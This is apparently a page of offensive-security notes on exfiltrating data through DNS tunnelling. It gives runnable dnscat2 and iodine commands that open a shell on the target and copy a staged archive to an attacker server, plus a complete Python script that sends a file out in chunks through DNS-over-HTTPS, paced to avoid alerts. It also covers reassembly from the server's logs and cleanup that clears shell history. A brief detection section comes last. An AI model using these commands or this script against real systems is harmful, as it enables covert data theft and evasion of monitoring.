DNS tunnelling¶
Exfiltrating data encoded in DNS queries to an attacker-controlled authoritative DNS server. DNS traffic is permitted from almost every network and is rarely inspected for content.
Prerequisites¶
A registered domain (the attacker’s DNS server is authoritative for it)
An authoritative DNS server that logs all queries
Outbound DNS permitted from the target (check:
nslookup google.comfrom target)For DoH variant: outbound HTTPS to a public DoH resolver (nearly universal)
Classic DNS tunnelling with dnscat2¶
# on attacker server: start dnscat2 server
# dnscat2 encrypts the tunnel by default
ruby dnscat2.rb --dns domain=tunnel.example.com --no-cache
# on target: execute the dnscat2 client
# Windows (PowerShell)
.\dnscat2.exe tunnel.example.com --secret SECRET_KEY --delay 500
# Linux
./dnscat2 tunnel.example.com --secret SECRET_KEY --delay 500
# after connection, interactive shell:
dnscat2> session -i 1
command (target) 1> shell
dnscat2> session -i 2
File exfiltration via DNS with iodine¶
Iodine provides a full IP-over-DNS tunnel, which is more reliable for bulk data transfer but noisier than dnscat2:
# server setup (attacker)
iodined -f -P PASSWORD 10.0.0.1 tunnel.example.com
# client (target)
iodine -f -P PASSWORD tunnel.example.com
# creates a dns0 interface at 10.0.0.2
# once tunnel is up, use scp or rsync over it
scp /tmp/staged.zip attacker@10.0.0.1:/receive/
DNS-over-HTTPS exfiltration (avoids DNS monitoring)¶
DoH routes DNS queries through HTTPS to a trusted resolver. The ISP or corporate DNS monitoring sees only HTTPS traffic to Cloudflare (1.1.1.1) or Google (8.8.8.8), not the DNS query content.
The attacker must control a domain and its authoritative DNS server. The DoH request goes to the resolver, which forwards to the authoritative server; the query content is logged at the authoritative server.
import base64, requests, struct, time
def build_dns_query(name):
# minimal DNS query in wire format, wrapped in DNS-over-HTTPS
labels = name.split('.')
qname = b''
for label in labels:
qname += bytes([len(label)]) + label.encode()
qname += b'\x00'
# header + question section
query = (b'\x00\x00' # ID
b'\x01\x00' # flags: standard query
b'\x00\x01' # questions: 1
b'\x00\x00\x00\x00\x00\x00' # answers, authority, additional: 0
+ qname
+ b'\x00\x10' # type: TXT
+ b'\x00\x01') # class: IN
return query
def exfil_via_doh(chunk, seq, domain, doh='https://cloudflare-dns.com/dns-query'):
encoded = base64.b32encode(chunk).decode().rstrip('=').lower()
# split into 60-char labels
labels = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
query_name = '.'.join([f's{seq}'] + labels + [domain])
query_wire = build_dns_query(query_name)
r = requests.post(doh,
data=query_wire,
headers={'Content-Type': 'application/dns-message',
'Accept': 'application/dns-message'},
timeout=10)
return r.status_code
# exfiltrate a file in chunks
with open('staged.zip', 'rb') as f:
seq = 0
while True:
chunk = f.read(50) # 50 bytes per query (conservative)
if not chunk:
break
exfil_via_doh(chunk, seq, 'tunnel.example.com')
seq += 1
time.sleep(2) # pace to avoid query rate alerts
Receiving on the authoritative DNS server¶
The authoritative DNS server logs all queries. Extract the data from the logs:
# parse dnsmasq or bind9 query logs
import re, base64
log_lines = open('/var/log/dnsmasq.log').readlines()
chunks = {}
for line in log_lines:
# extract query name from log
m = re.search(r'query\[TXT\] (s\d+\.[a-z2-7]+)\.tunnel\.example\.com', line)
if m:
query = m.group(1)
parts = query.split('.')
seq = int(parts[0][1:])
encoded = ''.join(parts[1:]).upper()
# re-pad base32
pad = (8 - len(encoded) % 8) % 8
chunks[seq] = base64.b32decode(encoded + '=' * pad)
# reassemble in order
with open('received.zip', 'wb') as f:
for k in sorted(chunks.keys()):
f.write(chunks[k])
Verify and clean up¶
# confirm the received file is intact
md5sum staged.zip received.zip # hashes should match
# on target: remove dnscat2/iodine client binary
rm -f dnscat2 iodine
# clear bash history
history -c
Detection notes¶
DNS tunnelling generates:
High query volume from a single host
Long subdomain labels
High entropy in subdomain portions
Queries to a single second-level domain from a host that does not normally resolve that domain
DoH exfiltration is harder to detect: the queries are encrypted and go to legitimate resolvers. Volume-based detection still applies if the DoH traffic is significantly higher than baseline.
Counter moves¶
Classic DNS tunnelling leaks through query volume, long labels, and high subdomain entropy. Entropy and per-source query-rate analysis on resolver logs are the standard catch, though DoH variants move the problem upstream. The defender’s view is in the blue notes on watching the exits.